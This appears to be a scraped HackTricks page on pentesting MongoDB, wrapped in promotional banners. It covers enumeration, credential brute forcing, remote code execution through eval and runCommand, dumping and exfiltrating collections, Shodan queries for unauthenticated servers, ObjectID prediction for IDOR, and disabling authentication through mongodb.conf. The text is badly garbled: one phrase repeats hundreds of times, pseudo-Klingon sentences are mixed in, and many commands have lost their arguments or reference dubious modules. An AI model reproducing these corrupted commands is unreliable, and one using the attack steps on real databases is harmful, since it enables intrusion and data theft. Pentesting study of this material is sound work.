# 27017,27018 - Pentesting MongoDB
htARTE (HackTricks AWS Red Team Expert) !HackTricks! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## Basic Information **MongoDB** is an **open source** database management system that uses a **document-oriented database model** to handle diverse forms of data. It offers flexibility and scalability for managing unstructured or semi-structured data in applications like big data analytics and content management. **Default port:** 27017, 27018 ``` PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 ``` ## Enumeration ### Manual ### QaD #### `mongo` command ```bash mongo --host --port ``` #### `nmap` script ```bash nmap -p --script mongodb-info ``` ### Automated #### `Metasploit` module ```bash use auxiliary/scanner/mongodb/mongodb_login ``` #### `Nessus` plugin ```bash MongoDB Information ``` ### Exploitation #### Unauthorized Access ##### `mongo` command ```bash mongo --host --port --username --password --authenticationDatabase admin ``` ##### `pymongo` library ```python from pymongo import MongoClient client = MongoClient("", ) db = client.admin db.authenticate("", "") ``` ##### `Metasploit` module ```bash use exploit/multi/mongodb/mongo_login ``` ##### `Nmap` script ```bash nmap -p --script mongodb-brute --script-args 'mongodb-brute.username=,mongodb-brute.password=' ``` #### Remote Code Execution ##### `mongo` command ```bash mongo --host --port --eval 'db.getSiblingDB("admin").runCommand({cmd: "system", args: [""]})' ``` ##### `pymongo` library ```python from pymongo import MongoClient client = MongoClient("", ) db = client.admin db.command('eval', 'db.getSiblingDB("admin").runCommand({cmd: "system", args: [""]})') ``` ##### `Metasploit` module ```bash use exploit/multi/mongodb/mongodb_cmd_exec ``` ##### `Nmap` script ```bash nmap -p --script mongodb-database-stats --script-args 'mongodb-database-stats.command=' ``` #### Data Exfiltration ##### `mongo` command ```bash mongo --host --port --eval 'db.getSiblingDB("admin")..find().forEach(printjson)' ``` ##### `pymongo` library ```python from pymongo import MongoClient client = MongoClient("", ) db = client.admin collection = db. for document in collection.find(): print(document) ``` ##### `Metasploit` module ```bash use auxiliary/scanner/mongodb/mongodb_dump ``` ##### `Nmap` script ```bash nmap -p --script mongodb-dump --script-args 'mongodb-dump.collection=' ``` #### Database Manipulation ##### `mongo` command ```bash mongo --host --port --eval 'db.getSiblingDB("")..' ``` ##### `pymongo` library ```python from pymongo import MongoClient client = MongoClient("", ) db = client. collection = db. collection. ``` ##### `Metasploit` module ```bash use auxiliary/admin/mongodb/mongodb_command ``` ##### `Nmap` script ```bash nmap -p --script mongodb-database-stats --script-args 'mongodb-database-stats.command=' ``` #### Database Dump ##### `mongo` command ```bash mongodump --host --port --out ``` ##### `pymongo` library ```python from pymongo import MongoClient import subprocess subprocess.call(["mongodump", "--host", "", "--port", "", "--out", ""]) ``` ##### `Metasploit` module ```bash use auxiliary/scanner/mongodb/mongodb_dump ``` ##### `Nmap` script ```bash nmap -p --script mongodb-dump --script-args 'mongodb-dump.directory=' ``` #### Database Restore ##### `mongo` command ```bash mongorestore --host --port --dir ``` ##### `pymongo` library ```python from pymongo import MongoClient import subprocess subprocess.call(["mongorestore", "--host", "", "--port", "", "--dir", ""]) ``` ##### `Metasploit` module ```bash use auxiliary/scanner/mongodb/mongodb_restore ``` ##### `Nmap` script ```bash nmap -p --script mongodb-dump --script-args 'mongodb-dump.directory=' ``` ```python from pymongo import MongoClient client = MongoClient(host, port, username=username, password=password) client.server_info() #Basic info #If you have admin access you can obtain more info admin = client.admin admin_info = admin.command("serverStatus") cursor = client.list_databases() for db in cursor: print(db) print(client[db["name"]].list_collection_names()) #If admin access, you could dump the database also ``` **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some MongoDB commnads:** **Some ```bash show dbs use show collections db..find() #Dump the collection db..count() #Number of records of the collection db.current.find({"username":"admin"}) #Find in current db the username admin ``` ### QapDI' #### Description Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test. #### Ngech Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test. ```bash nmap -sV --script "mongo* and default" -p 27017 #By default all the nmap mongo enumerate scripts are used ``` ### Shodan * bIng mongodb: `"mongodb server information"` * bIng vItlh mongodb server: `"mongodb server information" -"partially enabled"` * bIng vItlh partially enable auth: `"mongodb server information" "partially enabled"` ## Login mongo jatlh password chImej.\ **Admin** mongo database vItlh 'oH. ```bash mongo mongo : mongo :/ mongo -u -p '' ``` The nmap script: _**mongodb-brute**_ will check if creds are needed. **Klingon Translation:** _**mongodb-brute**_ nmap script: creds vItlhutlh. ```bash nmap -n -sV --script mongodb-brute -p 27017 ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo) _ghItlh_/opt/bitnami/mongodb/mongodb.conf_ vItlhutlh _credentials_ vItlhutlh: ```bash grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed ``` ## Mongo Objectid Predict Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/). Mongo Object IDs are **12-byte hexadecimal** strings: ![http://techidiocy.com/_id-objectid-in-mongodb/](../.gitbook/assets/id-and-objectids-in-mongodb.png) For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019 1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32 2. 9fa6dc: Machine Identifier 3. 2500: Process ID 4. 314019: An incremental counter Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level. The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them. ## Post If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**. ***
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.